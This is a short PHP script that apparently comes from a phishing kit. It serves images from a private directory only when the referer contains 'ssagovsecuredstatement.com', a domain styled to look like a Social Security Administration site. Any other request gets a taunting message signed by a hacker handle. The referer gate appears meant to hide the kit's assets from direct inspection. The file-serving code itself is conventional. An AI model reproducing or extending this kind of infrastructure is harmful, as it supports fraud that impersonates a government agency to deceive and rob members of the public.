<?php
define('can_access_img', true);
session_start();

if (!isset($_SERVER['HTTP_REFERER']) || stripos($_SERVER['HTTP_REFERER'], 'ssagovsecuredstatement.com') === false) {
    http_response_code(403);
    exit('Fuck U _|_  -- Try Harder --  @Bl4ck_P43k ');
}

$imgName = basename($_GET['img'] ?? '');

if (!$imgName) {
    http_response_code(400);
    exit('Missing image name.');
}


$imgBase = realpath(__DIR__ . '/../../private/img');
$imgPath = realpath($imgBase . '/' . $imgName);




if (!$imgPath || strpos($imgPath, $imgBase) !== 0) {
    http_response_code(403);
    exit('Access denied.');
}

if (file_exists($imgPath)) {
    $mime = mime_content_type($imgPath);
    header("Content-Type: $mime");
    readfile($imgPath);
    exit;
}

http_response_code(404);
echo "Image not found.";
